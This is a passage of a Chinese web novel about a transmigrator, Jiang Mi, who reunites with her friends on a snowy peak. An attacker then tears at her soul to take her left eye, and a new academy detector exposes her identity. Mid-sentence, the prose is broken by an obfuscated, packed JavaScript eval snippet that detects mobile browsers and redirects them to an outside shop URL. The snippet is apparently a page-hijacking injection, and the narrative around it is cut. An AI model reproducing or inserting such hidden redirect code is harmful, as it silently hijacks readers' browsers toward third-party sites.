她静静站在火炉旁煮水,屋门忽然被打开,风雪飘了进来,站在门口的人朝里看了眼:“江弥?” 江弥侧头看去,是周三。 他在门口跺掉身上的雪,动作熟练地进门放东西,搓着手过来烤火,吐槽道:“你这地方真的得换,我每次来都得穿厚衣,山下那么热,一路上都有人用有病的眼神看我。” 江弥笑了下,去门口拆大包小包:“都是些什么?” “周三你在这里对不对?!” 风雪外蒋敏生气十足地怒吼,一开门,同正在拆东西的江弥对上,她一瞬间卡壳,呆滞着没动。 “你怎么找来的?”周三看了眼蒋敏,摸出橱柜里的茶罐提着热水泡茶,“不进来?” “啊,哦,来啊。”蒋敏一阵乱抖,将身上的雪抖掉后进屋,规规矩矩坐在桌上没敢说话。 江弥拆了好几个包,全是红心薯白心薯,竟然还有板栗和土豆,她按着眉头忍不住问:“你买这么多红薯做什么?” “大雪。”周三指指窗外,又指指头顶:“无人的雪中屋。这么好的环境不吃红薯吃什么?你要是再不回来,我都打算把这里当秘密基地。” 蒋敏嗯嗯点头:“我懂我懂,再来本小说,烤着火慢悠悠吃红薯喝热茶,超幸福!” 周三给蒋敏倒茶:“你又要问什么?刚好人在,你要问问本人。” 江弥在烧火,刚将红薯板栗放进去,听到这话拍拍手走过来:“问我什么?” 蒋敏支支吾吾没说,周三说:“这家伙最近跟迷恋你似的,天天问我你以前的事,正好你在,你们聊。” 蒋敏连忙解释:“我绝对没有别的意思,就是好奇,好奇队长是怎么长成这么聪明强悍的。” 江弥知道她在好奇自己异世者身份,轻飘飘看她。 蒋敏不自觉冷汗直冒,立即举手投降:“对不起,我不该打探你隐私,我再也不问了,我保证!” 江弥觉得现在的自己应该很有安全感,不然她不可能这么轻易地揭过这事。 抬眼时看见周三手里的茶杯没见过,江弥回头朝橱窗看了眼,里面多了很多东西,明显是周三带来的,她忍不住道:“你是不是太把这里当自己家了?” 周三瞥她眼:“反正你不在,是生是死我也不知道,就当你死在外面了。” 江弥:“……” 江弥:“我错了,我下次给你送信。” 周三继续阴阳怪气:“要不是听崔大说见过你,我还以为你跟人双宿双飞不打算回了。” 江弥:“崔大到处跑也没传消息。” “他?”周三冷笑:“我管他死活。” 蒋敏小口喝着茶,滴溜溜的眼珠看周三把江弥压得死死的,既新奇又好奇。 江弥祸水东引不成功,只好转移话题:“崔大在不在小术院?难得一聚,把他也叫来?” 蒋敏最近对江弥好奇得厉害,知道崔大这号人物,刚好昨天还见过,自告奋勇道:“在在在,我去叫他。” 她跟被追的猫似的放下茶杯就溜,只剩两人安静喝茶。 “有危险吗?”周三忽然问。 江弥抬首,他沉默地喝茶,江弥又低下头,老实说:“遇到过,但能应付。” 周三点头:“你向来聪明,办法也多。” 江弥沉默了下,忽然说:“我打算离开小术院。” 周三看她:“进大术院?” 江弥摇头:“我去过大术院,那里不是我想要的,接下来我会和君慕之四处游历。” 周三:“修行的事呢?” 江弥没法跟他说自己奇怪的进阶方式,脑海一瞬闪过异世者被屠杀的场景,她皱了下眉,将这种情绪甩掉,沉吟后说:“修至十阶后,单纯的修炼已经 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孙柏柔见到江弥上前抱住她,明明才分别没多久,她就是激动得热泪盈眶。 上次这么聚在一起还是好久以前,她抽空回来时还怕聚不全,没想到都在。 崔大在一旁笑,说孙柏柔一段时间没见更爱哭了,孙柏柔瞪着红眼睛踢他,崔大条件反射侧身闪过,躲完觉得不对,又立马侧回去给孙柏柔踢。 孙柏柔无语看他。 崔大摸着脑门嘶了声:“脑袋没转过来。” 周三从橱柜取出不同花色的杯子,倒了热茶推到他们跟前,闻言道:“你要是跟人打架动脑子,不知道死多少次了。” 蒋敏一口茶水差点喷了,她也算是见识过周三的毒舌,没想到还是小觑了。 孙柏柔捧着热茶暖手,好奇问:“你们刚才说什么,江弥看到我怎么一副得救的表情?” 周三睨了江弥一眼:“君慕之。” 崔大砸砸嘴里的茶:“你还和他在一起啊?” 孙柏柔还是勉强站君慕之的,江弥同她解释过阿玲是误会,加上她见过两人相处的样子,更像是江弥主导,君慕之万事随她的样子。 孙柏柔说:“我感觉还行啊。” “就你那看男人的眼光,还点评别人?”周三嗤笑一声,“你们俩半斤八两。” 蒋敏呛了下,捂着嘴咳嗽,看向周三的目光满是崇拜!这人今天简直是火力全开,阴阳完江弥讽刺崔大,现在又嘲笑孙柏柔,他是不怕被群殴吗? 几人没群殴,毕竟自觉有愧。 江弥走时姬月生正和君慕之打架,她走得突然,阿玲倒是在,但也没法代替江弥和周三告别。接着一走就是几个月,什么消息都没给,从满天绯闻听到她下落还不知真假。 周三生气多正常啊,理解。 孙柏柔回廖家的事,江弥知道内幕,但在周三看来,就是孙柏柔二话不说就要回去,只草草打声招呼,回去了半点消息也不传回,跟断绝关系似的。 周三生气多正常啊,理解。 但这个自觉不包括崔大。 崔大心大,被嘲讽惯了,也不觉得有什么。 江弥和孙柏柔对视一眼,江弥忽然站起:“红薯应该烤熟了,我去看看。” 孙柏柔跟着起身:“还烤了红薯啊!我也来帮忙。” 周三:“呵。” 崔大咕咚咕咚灌完茶水又给自己倒了杯,奇怪看周三:“你火气怎么那么大?被女修追烦了?” 江弥和孙柏柔齐刷刷扭头。 周三瞥他:“你在说什么鬼话?” “不是吗?”崔大摸着下巴:“我听说有个女修天天缠你,吃饭找你,巡逻找你,还找到你舍院去,整个三堂传遍了,我去看严教习时他还问我这事是不是真的。” 周三皱眉:“你找严教习做什么?” 崔大:“哦,之前在三堂关了段时间,他看我有趣经常找我聊天,一来二去就熟了。” 孙柏柔忍不住打断逐渐跑偏的两人:“三儿,哪个女修?性格如何?我们认识吗?什么时候让我们看看。” 周三:“没有这事。” “怎么没有?”崔大猛地放下茶杯,“我还问了那女修的特征,鹅蛋脸,爱说话,跳来跳去像只猫,喜欢羽毛做的耳坠,那,就是这种。” 崔大探头盯着蒋敏耳朵多看了几眼,奇怪嘀咕:“现在女孩都喜欢羽毛?什么审美。” 一溜的目光齐刷刷望向蒋敏。 “我我,”蒋敏恨不得整个埋进茶杯,很小声,“不是我。” 周三:“是她。” 蒋敏胸口一滞,周三喷毒液的对象终于轮到她了吗? 几道目光又齐刷刷转向周三。 周三按了下额头:“她没有追我。” 崔大:“不追你天天跟在你屁股后面做什么?” “她……”周三刚开口就看到蒋敏发出求救目光,瞥了眼眨眼望来的江弥,周三喝了口茶,淡定道,“嗯,她在追我。” 蒋敏倒抽口凉气,在几人目光中几乎要泪流满面了。 大兄弟!我让你帮忙,你就是这么帮的? 江弥从火堆里掏出栗子和红薯,热闹的起哄声中,时光好像回到很多年前,他们躲在墙后议论李二的恋情,李二抓了个正着,很无语地看他们。 151. 151 大家聚在一起烤火说话,周三像个留守儿童听着几人聊在外的经历。 大家对孙柏柔的经历最好奇,她挑着讲了些,大都是廖家平日的活动,接待客人,占卜,管理资产等等,她说现在的工作很多,修行得自己挤出时间。 林林总总吐槽了一番,她转向江弥,问她离开百崃后去了哪里。 江弥将夏家的事说了,重点提了下齐乐。 众人下巴齐齐掉下来。 孙柏柔惊愕不已:“他竟然是夏家人!” 崔大摸着脑袋摇头:“一个廖家,一个夏家,三儿,不会你也是哪个世家之后吧?” 周三斜他眼,没搭话。 蒋敏不知道齐乐是谁,分好烤熟的红薯栗子,也跟着一惊一乍,然后被周三怼了:“你但凡问一句齐乐是谁,也不至于看着这么假。” 好歹刚才人还帮过自己,蒋敏觉得这毒舌程度能接受,烫红的手指捏着耳朵好奇问:“齐乐是谁?” 周三不轻不重道:“你是觉得我跟齐狗的关系好到会把他介绍给你?” 蒋敏:“……” 你已经不会正常说话了是吗? 轮到崔大时他说的是和狐狸苏乞花的冒险。 刚开始是跟着天一武会的动向行动,但天一武会如今已壮大,从外部寻找并杀异世者几乎不可能。 和狐狸崔大这般针对异世者的散修不少,他们转变思路,主动加入天一武会,如今天一武会内部鱼目混杂,有避难的异世者,也有杀异世者的修士,管理也非常严格。 苏乞花是个喜欢挑战的,观察天一武会一段时间无进展后,便去揭了散盟会的悬赏任务。 三人合作,为了找到悬赏对象,他们摸到一点线索就赶去,经常毫无收获,有次落入陷阱,在预谋的围剿中拼死冲出重围。 崔大剥开焦黑外皮,一口咬在冒热气的红薯上,烫的斯哈斯哈地吞下,还不忘拿脚将几颗栗子拨弄过来。 他又低头咬了口,含糊道:“我修为不高,都是他们在前面扛着,我们的下一个任务是悬赏榜第十的死神,等狐狸和苏乞花伤势好转就出发。” 他说这话的态度太过自然,让听得几人有种他只是出门一趟回来还会带礼物的错觉。 蒋敏吹红薯热气的动作停住,忍不住问:“你不怕死吗?” 可以这么说,在场几人,论修为,崔大是最低的,但论经历,他是最危险的,长时间在生死边缘徘徊,谁也不知道真正的死亡何时降临。 崔大反问:“谁不会死?” 他一边啃红薯一边说:“每时每刻都有人会死,认识的,不认识的,穷苦的,富裕的。我从小混沌出来都见过不少死人,江弥更是从大混沌出来,只会多不会少。死亡是世界的底色,活着才是奇迹。” 这话不像是从他嘴里说出来的,却又确实是。 周三皱眉道:“你的意思是你突然死在外面也很正常?” 崔大:“对啊。” 察觉孙柏柔和江弥也盯着他,他喝了口茶奇怪:“我说的不对?李二不就是悄无声息死的?” 孙柏柔看了眼江弥,对崔大道:“可大家都在努力活着,没人想去死。” 崔大:“我也不会去找死啊。” 周三脸色很难看:“你的不去找死就是越阶挑战各种高阶杀手?” 崔大不以为然:“不能这么说吧,再说我又不是一个人。” 周三忽然起身拎着崔大的后领往外走,崔大连忙将红薯塞嘴里,又烫又不愿撒口,嘴里含含糊糊地喊:“雾草你干什吗,馅儿你放开雾!” 门被打开,风雪灌了进来,没一会儿门又关上,屋外传来闷闷的打斗声。 蒋敏捧着红薯小心问:“不阻止他们吗?” 孙柏柔摇头:“他们经常打架,不用管。” 蒋敏:“哦。” 几道闷声和怒骂随着呼啸的风声刮过,听不真切。 木屋内没人说话,蒋敏感觉气氛不太对,抱了两块红薯几个栗子同她们告辞。 孙柏柔叹了声:“当初李二的死他接受最快,我以为他是没放在心上,哪成想他是这样想的。” 本以为崔大是没心没肺,结果是看得最淡。 温暖的火光映照在江弥脸上,孙柏柔怕她想起李二难过,想说点其他的,江弥忽然说:“最害怕我们散开的,其实是周三。” 李二的离开让她忽然意识到,这群人对她很重要。她觉得自己再也无法接受任何人的离去,崔大的冒险,孙柏柔的泥淖,她都想尽力让他们脱离,让一切回到原本的位置。 可包括她,所有人都在离开,只有周三在原地。 江弥说:“记得小术院友谊赛的前夜吗?我们趴在湖水旁说话,周三问我们以后做什么。” 孙柏柔笑了下:“原来你在装睡啊。” 江弥眨了下眼,没否认。 后来回忆那时的事,很多画面恍如昨日。 “你们都说完了也不见他说,我当时觉得周三好阴险,套走所有人的愿望,偷偷藏起自己的。”她趴在膝上盯着火堆,“这次回天雪峰,这里和我走时一样。” “干燥的木柴堆着,床褥在山下晒了抱上来,橱柜里有很多吃的。你看这里,屋子用了太久地板裂开,他修补好了。” 江弥抬首看孙柏柔:“我看到他提着很多东西进来时,好像第一次知道他心里的想法。” 周三总是将自己藏的很深,他不提自己的家人,不提自己的内心,平等地对每个人毒舌,却又异常敏锐。 江弥对敏锐的人会下意识戒备,但周三很有分寸,总在江弥竖起防备的前一刻暂停,他从不越过那条线。 如果说李二内外都是温暖柔软的,周三就是披着锋芒锐利的外衣,内里却敏锐细腻。 门外打斗仍在继续。 “我的舍友是个新来的学妹,她说有人隔段时间清理我的房间,还问是不是我兄长。”孙柏柔有些难过地笑了下,“我怀疑他故意的,他是不是还没死心让我喊哥。” 江弥问:“你要喊吗?” 孙柏柔坚决摇头:“不可能!” 他们对视一眼,同时笑出声。 两人静静烤着火,江弥感知到外面没了能量波动,起身和孙柏柔出去捞人。 雪层被打斗的动静扬起,乱舞的雪花遮掩视野。 江弥和孙柏柔分别去两边找人,视线受阻,江弥散开星辰之力寻找活物,在厚厚的雪层下将周三挖出来。 他喘息着躺在雪上仰头望天,雪花飘落在身上也没管,江弥展开星图将雪拦在外面,撑着下巴坐在他身边。 没多久孙柏柔拉来半死不活的崔大,地上拖出长长的雪痕,将崔大放地上时他浑身冒热气,雪一层层融化,人也跟着陷下去。 孙柏柔说:“怕他冻死,我撒了层化雪粉。” 周三闻言爬起来想跑,被江弥拉住腿按着跑不掉,周三只得说:“我不要这东西。” 然后被孙柏柔毫不留情撒了满脸。 周三:“……” 天边暗下来,大雪遮盖了天空,江弥的星图没散,飘落在四周的雪花染上幽蓝光芒。 崔大缓过神,从地底爬起,没说话。 周三也沉默着。 江弥忽然问:“你们以后要做什么?” 孙柏柔笑了,坐在江弥 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孙柏柔摸摸额头,连能量波动都没有。 崔大和周三不能动,转着眼珠无语看她。 江弥说:“这是约定。” 孙柏柔额了下,崔大切了声,周三冷嗤。 齐声说:“幼不幼稚!” 江弥弯眼笑了,刚要说什么,神色陡然一变,孙柏柔瞬间和崔大周三一样无法动弹,接着被一股巨力扔下山。 她只来得及听见江弥语气凝重说:“走!” 江弥浑身紧绷,危险让她汗毛倒竖,无数星辰在风雪中浮现。 厚厚的雪层由远及近地炸开,寒风扬起雪雾,靠近星图的瞬间被震飞。 这种出场只有一人。 姬月生沉着脸从雪雾中走来,他最近心情很不好,脑海里的声音不停说话,本以为给点力量就能停歇,结果愈演愈烈,又没法将这东西剥离,只能忍着她的聒噪。 “区区一个女人也能让你这么颓废,姬氏子嗣谈情说爱同喝水吃饭一样简单,你倒好,还自己播种收割,到头来一场空,愚蠢。” “你这小子实在无理,叫你给祖宗上供几百条关系竟然拒绝!大逆不道!不过有个性,不愧是我姬氏子孙。” “就是这,我感觉在这里。” 姬月生察觉星辰之力的波动,有三人被甩出天雪峰,自称他祖宗的稚气女声没提,说明她要找的东西还在这里。 姬月生没理,走出雪雾看到群星环绕的江弥,挑眉问:“你确定要找的是她?” 脑海里的稚气女声陡然发出亢奋尖叫:“是她是她是她!眼睛!我要她的眼睛!只要有了这颗眼睛,我就能立马苏醒!快,她的左眼!把她的左眼挖出来!” 姬月生被锐利的声音吵得皱眉,他将手搭在左腕血线上,望向江弥,她身上蔓延出很多细线,有一条较粗的金红色,那是和君慕之的神契。 但她左眼什么都没有。 女声却贪婪道:“关系,她的左眼连接了无数条关系,这是我见过的最庞杂而丰富的关系!” 江弥冷脸戒备,她听到一个稚气女声不停说话,姬月生的表情很烦躁,像是在忍耐聒噪,望来的目光带着冷漠的审视,不像之前还有闲心逗弄她。 妃绯的系统蛋蛋?桃姑的碎片? 不管是什么,这东西要取走她的眼睛。 江弥余光瞥了眼君慕之的木屋,在姬月生动手前赶过去有点难度,但可以尝试。 正欲行动,就听那道女声不可思议道:“竟然用关系对抗时间!” 152. 152 天诛院。 洪戎在尚署整层跑来跑去,整整一天,脸上的兴奋憋都憋不住,嘴角几乎要咧到眉梢。 老范看到忍不住问:“什么事这么高兴?” 洪戎当没听到从他身边匆匆走过,进地下入口时不忘朝身后喊:“动作轻点,这边。” 萧经年带着两队玄甲抬着十多个黑布笼罩的铁笼走下地下一层,没多久空手离去。 尚署不少人抬头议论纷纷,苏与商下去时老范又跑来问:“那个有进展了?” 苏与商没直接回答,而是说:“卢家人来了。” 天机是卢家卢今创造的,因为中途对旁的研究感兴趣而中断,只留了个半成品在尚署放着。 尚署的洪戎负责对接,他以帮忙的名义跟着学了三年,还是无法独立完成。 洪戎高兴多半是天机有了新进展。 苏与商没多说,直接进到地下。 偌大的空间被各种杂乱的器材和材料堆积,十多个铁笼放在不同方位,洪戎每个都上前踢一脚,确定里面的人有动静,还没死。 卢今是个沉默寡言的中年男人,他盘腿坐在数不清的八角阵盘中,手里握着块黑色阵盘正在刻录术纹。 苏与商蹲下,拿起一块端详。 黑色阵盘边缘有凹槽和凸出的细边,能相互嵌合,这么多阵盘大概能铺满整个地下空间。 洪戎见状过来解释:“每块术纹有差异,只有他清楚变化。” 他倒是想帮忙,但卢今一动手就沉浸其中,只说一句你不行然后谁也不理地开始工作,他只能做点清理和补全材料的工作。 苏与商:“什么时候完成?” 洪戎刚想说不清楚,埋头刻录的卢今忽然抬头,露出青黑眼圈和胡茬:“今夜子时启动。” “这么快?!”洪戎惊喜之后迟疑,“不先去三堂测试效果?上次还出了问题,差点将普通人认成异世者。” 卢今没说话,低头继续刻录。 这可不是小事,洪戎还想再问,苏与商说:“他不会出错。” 有了苏与商发话,洪戎没再提。 离开天诛院后苏与商进了一家酒楼,有人在包厢等待许久,她到时对方抬手,酒楼小二得令跑去后厨将冰镇的酒抱来,低眉躬身退出。 苏与商挑眉:“你倒是用心。” 廖珮缨抬手给她倒酒,轻笑道:“苏家长女好酒不是秘密,稍一打听就能知晓。” 苏与商喝了口酒,又觉不够痛快,抓起酒壶仰头灌了口,酒液沾湿衣襟,她畅快地叹了声,对廖珮缨自我介绍:“秘色。” 廖珮缨颔首:“玲珑。” 苏与商:“我以为来的会是黑底白花。” 廖珮缨姿态端雅地举杯品茶:“送信这事,谁来都一样,但这会儿大概只有我是清闲的。” 苏与商轻敲酒壶:“玉骨在今夜子时启动计划。” 廖珮缨手中茶水晃出几滴,苏与商挑眉看她:“害怕?” 廖珮缨放下茶杯,拂了拂,语气平稳道:“当初加入时可没人告诉我,天涯路里尽是些疯子。” 苏与商哈哈大笑起来。 廖珮缨将信息发给青花后问喝酒的苏与商:“听说你拒绝青花的群聊邀请,为何?” 苏与商举着酒壶轻碰她茶杯:“人啊,得保持神秘才更有魅力。” 廖珮缨不可知否地低眉喝茶。 · 项昭昭下意识抖腿,一会儿将茶杯一个个翻过来,一会儿摆成各种形状,低眉沉默的暮云看了她眼,项昭昭这才发现自己抖腿碰到对方,收回腿呼出口气:“有点紧张。” 暮云没什么反应。 项昭昭问:“你不紧张吗?” 暮云:“该来的总会到来。” 项昭昭手里转着茶杯叹:“你心态真好,扶尧那边你怎么处理?” 暮云没什么情绪:“双方目的已达成,各取所需。” 天一武会中的异世者没外界想象那么多,即便这部分异世者发生意外,剩下的实力仍旧能支撑扶旬坐稳皇位。 这是扶旬和他们合作的条件。 项昭昭觉得暮云的情绪稳定得可怕。 她们大部分时候只谈工作,潜藏在各方势力多年的探子不会轻易揭露自身经历,便是同类也保持警惕。 比起暮云,她同颜西能说的倒是不少。 项昭昭问:“你原本的名字叫什么?” 暮云停顿许久,缓缓说:“我叫什么不重要,毕竟,这里没有能喊出我名字的人。” 项昭昭觉得她问到对方的伤心事,正想说点什么缓解下,系统忽然弹出,青花发来消息:【今夜子时。】 咚! 项昭昭心脏猛地快跳,她长长呼出口气:“来了。” 她推开门准备迎接接下来的暴风雨。 天一武会的大部分人无知无觉,一切在有条不紊地运转着。 只有少数人知道这次计划,颜西属于少数人,因为知道接下来会发生什么,坐立难安,在狭小的空间走来走去,看上去十分焦虑。 路过的古东不明所以,停下来找他说话,颜西也知道自己需要转移注意力,便聊了起来。 项昭昭过来喊颜西,看到古东停顿片刻:“我是不是在哪里见过你?” 古东:“我曾经在群聊中求助过,你们救过我。” 项昭昭思索,群聊中发起过求助的异世者很多,救过的人也不少,但能让她有印象…… 项昭昭挑眉:“我是大胃王?” 古东连连点头:“是我。” 粉彩去池家的起因是有人在群聊中发起求助,后来粉彩失控,死神将人拖走,项昭昭被派去清理现场,但粉彩闹出的动静太大,她只来得及带走几名还有生机的异世者。 项昭昭笑了下,拍拍他肩膀:“做好准备。” 古东没明白这话含义,再望去时两人已离开,他正欲收回视线,迎面忽然跑来一个怒气冲冲的身影。 他见过几次,是扶尧公主。 这公主虽有些蛮横,但在天一武会向来注意姿态,正疑惑她怎么这么生气,对方已经从他身边风风火火离开了。 “嘭!” 门被大力推开,扶尧明眸扫视,见暮云坐在桌前不知在思索什么,顿时眼眸生火,猛地拍桌怒道:“你什么意思?” 暮云朝她颔首:“公主。” 扶尧气道:“自上次你与皇兄见面后他就不眠不休,整日沉在朝堂之事,谁劝都不听,喜欢便是喜欢,不喜便是不喜,我最厌烦你们这种拖拖拉拉相互折磨!” 暮云低眉:“公主误会了。” “误会?”扶尧憋了口气,“那我问你,皇兄多次向你示好,你为何不予理会?” 暮云:“我以为这已经是回应。” “你……”扶尧咬着唇瞪她,“我皇兄在你心里就这么不堪,让你这样远离他?” 暮云抬眼,目光沉沉:“公主,我有爱人。” 暮云在她身边待了很多年,扶尧第一次看暮云这种表情,她说不出是什么,只是感觉很沉重,很难过。 话里再也没有刚才的气盛:“可你已经回不去了,接受现在不好吗?” 暮云沉默片刻,道:“公主该回去了。” · 姬月生和君慕之在天雪峰第二次打架后,君慕之为了以防万一,在木屋设置了阵法,能在姬月生的攻击下支撑两刻钟。 这段时间足够君慕之前来救援。 木屋不在星图覆盖中,江弥要去木屋,通过星移斗转瞬移至少要两次。 姬月生听完稚气女声皱眉:“什么关系时间,先说好,我助你取走她的眼睛,你从我身上离开。” 女声急忙大喊:“她跑了!” 姬月生看了眼瞬移的身影,不紧不慢跟上:“你先答应,否则我站在这里看她离开。” “废话!我有了眼睛就会苏醒,哪里还用借你身体遮掩!快!追上去!” 姬月生站定不动:“答应,还是不答应。” “答应,我答应!” 姬月生眉梢终于舒展,察觉身后有气息追来,他瞥了眼没理,朝江弥的方向追去,几乎是瞬间闪到她身后。 伸出的手即将触碰到江弥时,星辰闪烁,她身形虚幻,下秒出现在更远处,姬生月的手抓了个空。 惊险躲过一击,江弥背后寒毛直竖,她瞬影到君慕之的木屋门前,双手飞速结印。 浅淡的阵法波纹犹如升起的水帘,逐渐笼罩木屋。 姬月生见状不妙,再次闪身,阵法即将闭合,姬月生忽而笑了声,朝江弥道:“有人来了,你猜是谁?” 江弥神色一僵。 某股气息朝着这个方向飞速赶来。 江弥将三人扔下山时来不及多解释什么,但他们肯定预料到发生事情了。 她不担心孙柏柔上山,周三肯定能从她的反应推出敌人非几个五六阶能挡,他会用寻找帮手的理由支开孙柏柔,自己再去惩戒堂请教习来。 只可能是崔大。 这种情况他听不进分析,只会莽上来。 思考不过瞬息,但结印的手慢了下来。 即将闭合的阵法停顿一瞬,姬月生就是在这时进入结界内。 结界闭合,木屋前站着两个人。 姬月生嘴角扬起一抹笑:“我只要你的左眼,对你性命不感兴趣,你若配合我就下手轻点。” 江弥冷眸,无数星辰飘散在结界内,白雪染上星光。 姬月生:“看来是谈不拢了。” 话还未落,所有星辰仿佛有了意识朝着红衣青年飞去,磅礴的力量将地上的雪花激起,结界犹如一只被颠倒又放正的玻璃球,染上蓝紫光芒的雪雾纷纷洒洒,木屋不受重压崩塌。 江弥全力而出,操纵星辰之力轰击姬月生所在之处,然而攻击落实的瞬间心头一沉。 姬月生不在那里。 “你在找我?” 明朗的青年声线在耳边响起,江弥悚然一惊,什么时候?脚下星辰闪烁,她欲用星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556349|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移斗转瞬移,姬月生先一步掐住她脖颈。 压迫和窒息袭来,江弥还没来得及挣扎,身体四肢就被无数细线扎入,瞬间丧失所有反抗倒了下去,半点无法动弹。 星图中的星星一颗颗熄灭。 姬月生半蹲在她身侧,轻笑道:“早说让你配合了。” 说着抬手朝她的左眼伸来,手指只停留在眼球上方,手腕之上忽然浮现一只更大的、虚幻的手,缓缓向下,食指中指并拢从她眼窝的方向探了进去。 江弥无法动弹,连闭眼也无法做到,只能看着那双手探入她脑海。 不痛,但很怪异,好像有什么在她灵魂里摸索。 “找到了!”稚气女声高兴大喊。 江弥还没思索找到什么,下秒,剥离灵魂的痛楚让她无法控制地叫出声,那是一种无法反抗的本能,她痛苦尖叫,再也无法思考其他。 “江弥!” 崔大听到江弥凄厉哭声的瞬间眼睛都红了,粗喘着瞬影上前,却一头撞上结界。 “江弥!江弥!”崔大怒锤结界,反被弹开,他疯狂攻击结界,可这结界连姬月生也无法立即打破,崔大就更加无法打开。 崔大抬剑不停砍向结界,江弥就在他眼前被欺负,哭声在他耳边回响,他什么也做不了,只能眼睁睁看着。 崔大气得边砍边骂:“我草你妈!有本事他妈的冲老子来!和老子单挑啊狗日的!你他妈欺负女人算什么!沃日你啊!给老子出来!” 江弥此时听不到任何声音,她灵魂正在被蛮横的力道撕扯,剧烈的痛苦让她恨不得死去,某个瞬间,痛苦似乎在降低,她以为是错觉,眨眼时看到点点绿光。 脖颈的绿色玉坠变成一颗颗绿色光团,它们飞向江弥落在她眉骨间,仿佛一颗颗簇拥着跳水的小东西,猛地往空茫的左眼一钻,溅起几点绿光。 生机勃勃的力量进入江弥左眼,修复她的伤口。 姬月生伸手要将这东西挥开,碰到的一瞬犹如被烈火灼烧,手背浮现一块烧伤。 他握了握拳,咬牙怒道:“君慕之!” 姬月生皱眉盯着被冷汗浸湿的江弥,思索着要不要将这笔账算在她头上,杀肯定是不能杀的,他还不想被君慕之追杀到天涯海角,不死的做法有很多。 就在这时,虚幻的大手猛地收回,紧紧握着,指尖溢出蛛丝般的无数细线。 祂高兴大喊:“拿到了!” 姬月生:“你该离开了。” 稚气女声:“不急,等我消化掉它。” 姬月生皱眉:“要多久?” 稚气女声没回答,应该是在消化。 崔大还在骂,已经从他爹娘骂到他祖宗十八代,听得姬月生眉头直皱:“闭嘴。” 崔大:“闭你祖宗!龟儿子出来啊!” 受到挑衅的姬月生:“……” 姬月生:“你等着。” 崔大抹了把眼泪,红着眼怒骂:“你麻痹!老子就在这等着!出来啊你个怂逼!” 他看了眼安静下来的江弥,不敢问她如何,就怕这变态又将注意力放江弥身上对她做什么,只能不停骂:“废物!你出来啊!有本事给老子现在就出来!磨磨唧唧像个娘们,穿得也跟个娘们似的!” 姬月生:“你给我等着!” 崔大骂了半晌,累了,坐在雪地上继续骂,余光瞄了眼躺在地上的江弥,正要收回目光,眼前忽然变得模糊。 崔大揉了下眼,发现姬月生是正常的,他又望向江弥,变成了重影。 察觉不对,他一骨碌爬起来,朝姬月生怒道:“你对江弥做了什么?” 姬月生专心解阵:“人没死。” 崔大趴到结界上去看,发现江弥真的变模糊了,惊慌道:“她要消失了!” 姬月生回头看了眼,眉头皱了下。 崔大的令牌忽然动了下,有消息公告,还没取出令牌就察觉十多道气息飞速逼近。 严藩及十多位教习瞬影而来,周三落在最后。 崔大大喜过望,连忙指着姬月生道:“就是他!他残害小术院学员!严教习你们不能放过他!” 十多位黑衣教习来到结界前,严藩看到是姬月生,皱眉刚要发话,看到结界内的江弥忽然停顿。 不止他,身后的十多名教习面色各异。 崔大哑声催促:“你们听着做什么?江弥受伤很严重,她撑不了太久!” 但没有人动。 周三的脸沉得能滴水,他将崔大拉到一旁,手里的令牌捏得咯吱作响,咬牙道:“看公告。” 崔大一把甩开他:“什么时候了还看公告!” 周三抓着他的胳膊没放,将令牌伸到他面前,崔大扫了眼,随即目光凝住,许久才反应公告内容—— “紧急公告:天诛院启动天启计划,凡出现双影者皆为异世者,提供异世者身份信息奖百银,抓捕异世者并上交天诛院有重赏。” 崔大大脑一片嗡鸣,他睁着红眼瞪着周三,半晌才问出口:“江弥,是异世者?” 153. 153 崔大第一反应是不可能,江弥和他一起长大,怎么可能是异世者,他杀过很多异世者,都不是江弥这样的。 他停在原地不停否定,连周三的询问也没听到。 周三揍了他一拳,拎着他衣领压低声音问:“怎么回事?刚才发生了什么?” 崔大有些呆滞,周三抬手又准备揍,被他先一步捏住拳头,周三没再用力,沉着脸道:“把你脑子里的水倒一倒,说清楚刚才的情况。” 崔大到时结界已经生成,回想时脑海只有江弥痛苦的叫声,他眼睛涨得发酸:“我不知道,但江弥哭了。” 周三深吸口气,放开崔大,原以为最糟糕不过有人来袭,事情却在半途来个大转弯,将他打个措手不及。 他回头去看江弥,结界里的另一人正在靠近她。 姬月生对此时的江弥产生了浓厚的兴趣。 他蹲下来,红色衣摆飘在雪地上,低头看江弥逐渐回神:“你是异世者?君慕之知道吗?你说他是会任你被天诛院抓走,还是为你拦住所有追杀?” 江弥艰难眨眼,她的视野一半能正常视物,一半被模糊笼罩,朦胧的光晕逐渐汇聚,姬月生的嘴一张一合。 她的左眼还在。 声音后一步传入耳朵。 所有情绪被痛楚模糊,听到她的身份暴露,她竟出乎意料的平静,目视姬月生恶趣味的笑也毫无波澜。 江弥声音虚弱问:“你不杀我?” 姬月生唇角弯起:“比起你的性命,君慕之的反应更让我好奇。他连本源力量都愿意给你保命,知道你是异世者后他会如何?” 江弥仍旧无法动弹,也没力气再和他说话。 结界外,看着呈现双影的江弥,教习们脸色一直没好过,谁能想得到被君慕之喜欢的学员会是异世者。 周三找到严藩说江弥遭遇危险,考虑到君慕之对她的态度,严藩带走了惩戒堂一半教习。 此时这一半教习没有上前,对异世者的态度各有不同。 “管她是谁,异世者统一处理掉!大混沌和四方坛的事才过去多久,难道你们忘了多少小术院学员无辜惨死?” “可君少主那边……” “君少主肯定是被她蒙蔽欺骗!” “笑话!君慕之是君氏少主,会包庇一名异世者?” 最前方的严藩没参与话题,朝姬月生道:“你小子又搞出的什么事?” 姬月生对这个舅舅还有几分客气,闻言耸肩:“你要怪就怪君慕之,他搞的,我出来还得费不少时间。” 这下教习们更迟疑了。 刚才说得理直气壮,但看到君慕之的结界将人护在里面,又有些不确定了。 淡红色丝线从雪地蔓延,爬上结界泛起水纹,将透明染成浅红。 姬月生解开结界需要时间,严藩倒也不急了。 江弥是异世者,抓肯定是要抓的,处置自然还是要问问君慕之的意思。 又是几道气息快速逼来,教习从议论声中望来。 